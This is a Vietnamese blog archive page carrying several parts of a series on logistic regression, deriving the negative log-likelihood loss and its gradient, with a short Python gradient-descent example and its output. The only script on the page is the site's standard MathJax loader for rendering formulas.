<p>Trong bài trước và bài này chúng ta đều đi đến mục tiêu cuối cùng là tìm giá trị cực đại của hàm hợp lý. Kỹ thuật này được biết đến với tên gọi <strong>ước lượng hợp lý cực đại</strong> (maximum likelihood estimator). Để tìm điểm cực đại của hàm hợp lý, ta đi tìm điểm cực tiểu của số đối của hàm hợp lý. Hơn thế nữa, vì hàm hợp lý là một tích của rất nhiều số nhỏ hơn <span class="math">\(1\)</span>, chúng ta đã thay thế hàm hợp lý bằng <span class="math">\(\log\)</span> của hàm hợp lý, và đi tìm giá trị cực tiểu của <strong>số đối của log của hàm hợp lý</strong> (negative log likelihood).</p>
</div>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Bài viết kỳ này thiết lập hàm mất mát trong trường hợp giá trị thực <span class="math">\(y \in \{ -1, 1 \}\)</span>. Đây là một dạng phổ biến khác trong hồi quy hậu cần. Tương tự như bài viết kỳ trước, chúng ta đã áp dụng ý nghĩa xác suất vào hàm xích-ma chuẩn và kỹ thuật ước lượng hợp lý cực đại để thiết lập nên hàm mất mát. Sau khi cài đặt, chúng ta thấy rằng kết quả của hồi quy hậu cần trong bài viết này tương tự như kết quả chúng ta đã thấy trong bài viết kỳ trước.</p>
<p>Từ ba bài viết về hồi quy hậu cần, chúng ta cũng rút ra một số nhận xét tổng quát hóa vai trò của hàm mất mát, và kỹ thuật tìm giá trị cực tiểu của số đối của <span class="math">\(\log\)</span> của hàm hợp lý.</p>
<p>Trong bài viết sau, chúng ta sẽ xem xét một số áp dụng của hai phương pháp học có giám sát đã trình bày trong các bài viết trước. Sau đó chúng ta sẽ quay lại tìm hiểu cách giải quyết vấn đề tham số mô hình bị "phình ra" khi học lâu (qua nhiều bước xuống dốc).</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li><a class="reference external" href="http://www.robots.ox.ac.uk/~az/lectures/ml/2011/lect4.pdf">Bài giảng số 4</a> trong môn <a class="reference external" href="http://www.robots.ox.ac.uk/~az/lectures/ml/2011/">C4B Machine Learning</a> do Andrew Zisserman dạy ở đại học Oxford.</li>
<li><a class="reference external" href="https://s3.amazonaws.com/content.udacity-data.com/courses/gt-cse6242/recommended+reading/logreg.pdf">Tài liệu giảng</a> trong môn <a class="reference external" href="https://cse6242.gatech.edu/">CSE6242 Data and Visual Analytics</a> do Guy Lebannon dạy ở học viện kỹ thuật Georgia.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (4)2018-05-13T00:00:00+07:002018-05-13T00:00:00+07:00Nguyễn Thành Namtag:None,2018-05-13:2018/05/may-hoc-pho-thong-4.html<p>Ở <a class="reference external" href="2018/04/may-hoc-pho-thong-3.html">phần trước</a>, chúng ta đã tự mình lập nên hàm mất mát cho phương pháp hồi quy hậu cần. Tuy rằng chúng ta có thể tìm ra kết quả đúng, chúng ta cũng gặp một số vấn đề quan trọng. Bài viết này sẽ bàn về các vấn đề …</p><p>Ở <a class="reference external" href="2018/04/may-hoc-pho-thong-3.html">phần trước</a>, chúng ta đã tự mình lập nên hàm mất mát cho phương pháp hồi quy hậu cần. Tuy rằng chúng ta có thể tìm ra kết quả đúng, chúng ta cũng gặp một số vấn đề quan trọng. Bài viết này sẽ bàn về các vấn đề đó.</p>
<div class="section" id="ban-ve-ham-mat-mat-va-ky-thuat-xuong-doc">
<h2>Bàn về hàm mất mát và kỹ thuật xuống dốc</h2>
<p>Dưới đây là hàm mất mát mà chúng ta lập ra ở bài viết trước.</p>
<div class="math">
\begin{equation*}
\mathcal{L}(\vec{\theta}) = \sum_{i=0}^3 \left[ y^{(i)} + (1 - 2y^{(i)}) \times S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) \right]
\end{equation*}
</div>
<p>Chúng ta đã sử dụng kỹ thuật xuống dốc để tìm điểm cực tiểu của hàm mất mát này. Tuy nhiên, hàm mất mát như trên không phải là hàm lồi (convex function, hàm có đạo hàm bậc hai luôn dương) trong miền xác định. Vì thế kỹ thuật xuống dốc có thể sẽ rơi vào cực tiểu nội bộ. Đó là lý do vì sao trong bài viết trước có lúc ta nhận được kết quả tốt, có lúc ta nhận được kết quả xấu. Tất cả phụ thuộc vào điểm khởi đầu khi ta thực hiện việc xuống dốc.</p>
<p>Điều tôi muốn nhấn mạnh ở đây là hàm mất mát chúng ta đã lập ra trong bài viết trước hoàn toàn hợp lý, không có gì sai sót cả. Vấn đề là ở việc tìm điểm cực tiểu của hàm đó.</p>
</div>
<div class="section" id="thiet-lap-ham-mat-mat-theo-y-nghia-xac-suat">
<h2>Thiết lập hàm mất mát theo ý nghĩa xác suất</h2>
<p>Để việc tìm điểm cực tiểu của hàm mất mát dễ hơn với kỹ thuật xuống dốc, chúng ta sẽ cần thiết lập một hàm mất mát phù hợp hơn.</p>
<div class="section" id="xac-lap-y-nghia-xac-suat">
<h3>Xác lập ý nghĩa xác suất</h3>
<p>Nhớ lại rằng giá trị của biến phụ thuộc bị giới hạn trong khoảng <span class="math">\([0, 1]\)</span>, và nếu <span class="math">\(y = 1\)</span> thì <span class="math">\(y\)</span> không thể có giá trị <span class="math">\(0\)</span> và ngược lại. Nhận xét này dẫn đến một ý tưởng là ta có thể giả sử giá trị phỏng đoán <span class="math">\(\hat{y}\)</span> thể hiện <strong>xác suất</strong> mà giá trị thực <span class="math">\(y = 1\)</span> khi giá trị đầu vào là <span class="math">\(\vec{x}\)</span> và tham số mô hình là <span class="math">\(\vec{\theta}\)</span>.</p>
<p>Nói một cách khác, đây là giả sử của chúng ta:</p>
<div class="math">
\begin{align*}
\hat{y}_\vec{\theta}(\vec{x}) &= S(\vec{\theta} \cdot \vec{x}) \\
P_\vec{\theta}(y=1 \mid \vec{x}) &= \hat{y}_\vec{\theta}(\vec{x}) \\
P_\vec{\theta}(y=0 \mid \vec{x}) &= 1 - P_\vec{\theta}(y=1 \mid \vec{x}) = 1 - \hat{y}_\vec{\theta}(\vec{x})
\end{align*}
</div>
</div>
<div class="section" id="xac-lap-ham-mat-mat">
<h3>Xác lập hàm mất mát</h3>
<p>Với dữ liệu đầu vào ở dòng <span class="math">\(i\)</span>, xác suất của biến phụ thuộc trùng với giá trị thực là:</p>
<div class="math">
\begin{equation*}
P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) = \begin{cases}
\hat{y}_\vec{\theta}\left( \vec{x^{(i)}} \right) & \mbox{khi } y^{(i)} = 1 \\
1 - \hat{y}_\vec{\theta}\left( \vec{x^{(i)}} \right) & \mbox{khi } y^{(i)} = 0 \\
\end{cases}
\end{equation*}
</div>
<p>Với một chút sáng tạo, chúng ta có thể gộp hai trường hợp này làm một:</p>
<div class="math">
\begin{align*}
P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) &= \begin{cases}
\hat{y}_\vec{\theta}\left( \vec{x^{(i)}} \right)^{y^{(i)}} & \mbox{khi } y^{(i)} = 1 \\
1 - \hat{y}_\vec{\theta}\left( \vec{x^{(i)}} \right)^{1 - y^{(i)}} & \mbox{khi } y^{(i)} = 0 \\
\end{cases} \\
&= \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) ^ {y^{(i)}} \times
\left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right) ^ {1 - y^{(i)}}
\end{align*}
</div>
<p>Từ đó dẫn đến xác suất của mô hình hồi quy khớp với toàn bộ bảng dữ liệu đầu vào:</p>
<div class="math">
\begin{equation*}
\mathcal{P}_\vec{\theta} = \prod_{i=0}^{3} P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right)
\end{equation*}
</div>
<p>Mục tiêu của chúng ta chính là tìm điểm cực đại của <span class="math">\(\mathcal{P}_\vec{\theta}\)</span>. Hàm <span class="math">\(\mathcal{P}_\vec{\theta}\)</span> còn được biết đến với tên gọi <strong>hàm hợp lý</strong> (likelihood).</p>
<p>Trong miền xác định <span class="math">\([0, 1]\)</span>, hàm <span class="math">\(\log \circ f\)</span> đồng biến với <span class="math">\(f\)</span>. Điều đó cho phép ta tìm điểm cực đại của <span class="math">\(\mathcal{P}_\vec{\theta}\)</span> theo <span class="math">\(\log \mathcal{P}_\vec{\theta}\)</span>.</p>
<div class="math">
\begin{align*}
\log \mathcal{P}_\vec{\theta} &= \log \left[ \prod_{i=0}^{3} P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) \right] \\
&= \sum_{i=0}^{3} \log P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) \\
&= \sum_{i=0}^{3} \log \left[ \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) ^ {y^{(i)}} \times
\left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right) ^ {1 - y^{(i)}} \right] \\
&= \sum_{i=0}^{3} \left[ y^{(i)} \times \log \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) +
\left( 1 - y^{(i)} \right) \times \log \left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right) \right] \\
\end{align*}
</div>
<p>Có hai nhận xét bên lề mà tôi muốn bạn đọc chú ý với kỹ thuật chuyển qua sử dụng <span class="math">\(\log \circ f\)</span> thay cho <span class="math">\(f\)</span>:</p>
<ol class="arabic simple">
<li>Nếu <span class="math">\(f\)</span> là một tích, <span class="math">\(\log \circ f\)</span> sẽ là một tổng.</li>
<li>Việc chuyển đổi đó dẫn đến việc tính toán dễ dàng hơn, bởi vì tích của các số trong <span class="math">\([0, 1]\)</span> sẽ dẫn đến một số cực kỳ nhỏ, khó có thể được biểu diễn dễ dàng trong máy tính.</li>
</ol>
<p>Nên nhớ rằng trong miền xác định <span class="math">\([0, 1]\)</span>, hàm <span class="math">\(\log\)</span> là hàm lõm. Tích của một hàm với một số không âm không làm thay đổi tính lồi/lõm của hàm. Tổng của các hàm lõm cũng sẽ là một hàm lõm. Do đó, <span class="math">\(\log \mathcal{P}_\vec{\theta}\)</span> là một hàm lõm, và <span class="math">\(-\log \mathcal{P}_\vec{\theta}\)</span> dĩ nhiên sẽ là một hàm lồi!</p>
<p>Để tìm điểm cực đại của <span class="math">\(\log \mathcal{P}_\vec{\theta}\)</span>, chúng ta sẽ tìm điểm cực tiểu của <span class="math">\(-\log \mathcal{P}_\vec{\theta}\)</span>. Đó chính là hàm mất mát của chúng ta!</p>
<div class="math">
\begin{equation*}
\mathcal{L}_\vec{\theta} = -\log \mathcal{P}_\vec{\theta}
\end{equation*}
</div>
<p>Để đơn giản việc tìm dốc của hàm mất mát, ta sẽ tìm đạo hàm bậc nhất của một dòng đầu vào <span class="math">\(\left( \vec{x^{(i)}}, y^{(i)} \right)\)</span> cụ thể:</p>
<div class="math">
\begin{align*}
& \cfrac{\partial}{\partial \vec{\theta}} \left[ -y^{(i)} \times \log \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) - \left( 1 - y^{(i)} \right) \times \log \left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right) \right] \\
= & \left[ -y^{(i)} \cfrac{1}{\hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right)} + \left( 1 - y^{(i)} \right)
\cfrac{1}{1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right)} \right] \cfrac{\partial}{\partial \vec{\theta}} \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \\
= & \left[
\cfrac{-y^{(i)} \left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right)
+ \left( 1 - y^{(i)} \right) \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right)}
{\hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right)}
\right]
\hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \left( 1 - \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) \right) \cfrac{\partial}{\partial \vec{\theta}} \vec{\theta} \cdot \vec{x^{(i)}} \\
= & \left[ \hat{y}_\vec{\theta} \left( \vec{x^{(i)}} \right) - y^{(i)} \right] \vec{x^{(i)}} \\
= & \left[ S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) - y^{(i)} \right] \vec{x^{(i)}}
\end{align*}
</div>
<p>Sau đó, ta có thể ráp lại vào hàm mất mát để tính dốc như sau:</p>
<div class="math">
\begin{equation*}
\nabla \mathcal{L}_\vec{\theta} = \sum_{i=0}^{3} \left[ S \left( \vec{\theta} \cdot \vec{x^{(i)}} \right) - y^{(i)} \right] \vec{x^{(i)}}
\end{equation*}
</div>
</div>
</div>
<div class="section" id="cai-dat-voi-ham-mat-mat-moi">
<h2>Cài đặt với hàm mất mát mới</h2>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">sigmoid</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x_i</span> <span class="o">*</span> <span class="n">theta_i</span> <span class="k">for</span> <span class="n">x_i</span><span class="p">,</span> <span class="n">theta_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[(</span><span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">*</span> <span class="n">x_i</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y_hat</span> <span class="o">=</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="n">s</span> <span class="o">-=</span> <span class="n">y</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="n">y_hat</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">y_hat</span><span class="p">)</span>
<span class="k">return</span> <span class="n">s</span>
<span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="c1"># Khởi tạo theta ngẫu nhiên.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Định tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.5</span>
<span class="c1"># Lặp xuống dốc.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
<span class="c1"># Đạo hàm riêng đối với mỗi dòng đầu vào.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="n">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">)]</span>
<span class="c1"># Lấy tổng các đạo hàm riêng lại với nhau.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="nb">sum</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">grad</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Cập nhật theta.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">theta_i</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">grad_i</span> <span class="k">for</span> <span class="n">theta_i</span><span class="p">,</span> <span class="n">grad_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">grad</span><span class="p">)]</span>
<span class="c1"># In kết quả.</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Theta'</span><span class="p">,</span> <span class="n">theta</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Loss'</span><span class="p">,</span> <span class="n">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">))</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="o">></span> <span class="mf">0.5</span> <span class="k">else</span> <span class="mi">0</span><span class="p">)</span>
</pre></div>
<p>Khi thực thi đoạn mã này nhiều lần, chúng ta đều nhận được kết quả tương tự như sau:</p>
<pre class="literal-block">
('Theta', [-20.37171666579356, 13.468848927513633, 13.46884892751371])
('Loss', 0.003415244070062777)
((0, 0), 0)
((0, 1), 0)
((1, 0), 0)
((1, 1), 1)
</pre>
<p>Điều này cho thấy rằng kỹ thuật xuống dốc với hàm mất mát mới đã có thể hội tụ tốt hơn so với hàm mất mát trong bài viết trước.</p>
<p>Tuy nhiên, nếu chúng ta thay đổi số bước xuống dốc, chúng ta thấy rằng tham số mô hình vẫn trở nên lớn hơn khi số bước xuống dốc tăng lên.</p>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Bài viết kỳ này giải thích tại sao hàm mất mát đã lập trong bài viết trước không hội tụ tốt. Từ đó, bài viết này giới thiệu tới bạn đọc một hàm mất mát khác phù hợp hơn với kỹ thuật xuống dốc. Đau lòng mà nói, việc xác lập nên hàm mất mát hiệu quả phụ thuộc rất nhiều vào trực giác tinh tế, kinh nghiệm phong phú, và sức sáng tạo cao của người làm việc. Có bao nhiêu người nghĩ đến việc thiết lập hàm mất mát trong ngữ cảnh của xác suất? Trong bài viết kỳ sau, chúng ta sẽ khảo sát sự ảnh hưởng của dữ liệu đầu vào <span class="math">\(y \in \{ 1, -1 \}\)</span> (thay vì <span class="math">\(y \in \{ 0, 1 \}\)</span>) đến hàm mất mát như là một ví dụ khác về các tố chất đã nêu.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li><a class="reference external" href="http://cs229.stanford.edu/notes/cs229-notes1.pdf">Tài liệu giảng</a> trong môn <a class="reference external" href="http://cs229.stanford.edu">CS229 Machine Learning</a> do Dan Boneh và Andrew Ng dạy ở đại học Stanford.</li>
<li><a class="reference external" href="https://machinelearningcoban.com/2017/01/27/logisticregression/">Bài 10: Logistic Regression</a> ở trang mạng <a class="reference external" href="https://machinelearningcoban.com">Machine Learning cơ bản</a> của Vũ Hữu Tiệp ở Đại học bang Pennsylvania (Pennsylvania State University), Hoa Kỳ.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (3)2018-04-24T00:00:00+07:002018-04-24T00:00:00+07:00Nguyễn Thành Namtag:None,2018-04-24:2018/04/may-hoc-pho-thong-3.html<p>Trong <a class="reference external" href="2018/04/may-hoc-pho-thong-1.html">phần 1</a>, chúng ta đã xem xét một phương pháp hồi quy đơn giản. Trong phần này chúng ta sẽ xem xét một phương pháp hồi quy khác có tên hồi quy hậu cần (logistic regression).</p>
<div class="section" id="ham-hau-can-va-ham-xich-ma-chuan">
<h2>Hàm hậu cần và hàm xích-ma chuẩn</h2>
<div class="section" id="ham-hau-can-logistic-function">
<h3>Hàm hậu cần (logistic function)</h3>
<p>Năm …</p></div></div><p>Trong <a class="reference external" href="2018/04/may-hoc-pho-thong-1.html">phần 1</a>, chúng ta đã xem xét một phương pháp hồi quy đơn giản. Trong phần này chúng ta sẽ xem xét một phương pháp hồi quy khác có tên hồi quy hậu cần (logistic regression).</p>
<div class="section" id="ham-hau-can-va-ham-xich-ma-chuan">
<h2>Hàm hậu cần và hàm xích-ma chuẩn</h2>
<div class="section" id="ham-hau-can-logistic-function">
<h3>Hàm hậu cần (logistic function)</h3>
<p>Năm 1845, nhà toán học Bỉ tên Pierre François Verhulst đăng bài "Những nghiên cứu toán học về quy luật của sự phát triển dân số". Trong đó, ông đặt tên cho hàm có đồ thị chữ S (đường cong xích-ma) và công thức như sau là hàm hậu cần:</p>
<div class="math">
\begin{equation*}
f(x) = \cfrac{L}{1 + e^{-k(x-x_0)}}
\end{equation*}
</div>
<p>với:</p>
<ul class="simple">
<li><span class="math">\(x_0\)</span> là giá trị trục hoành ở trung điểm của hàm</li>
<li><span class="math">\(L\)</span> là giá trị cực đại của hàm</li>
<li><span class="math">\(k\)</span> là độ dốc của hàm</li>
</ul>
<p>Ví dụ, với <span class="math">\(L=1, k=1, x_0=0\)</span>, hàm hậu cần đặc biệt này là hàm xích-ma chuẩn có đồ thị như sau:</p>
<div class="figure">
<img alt="" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/88/Logistic-curve.svg/512px-Logistic-curve.svg.png" />
<p class="caption">Đồ thị hàm xích-ma chuẩn (bởi Qef [Public domain], <a class="reference external" href="https://commons.wikimedia.org/wiki/File:Logistic-curve.svg">nguồn Wikimedia Commons</a>)</p>
</div>
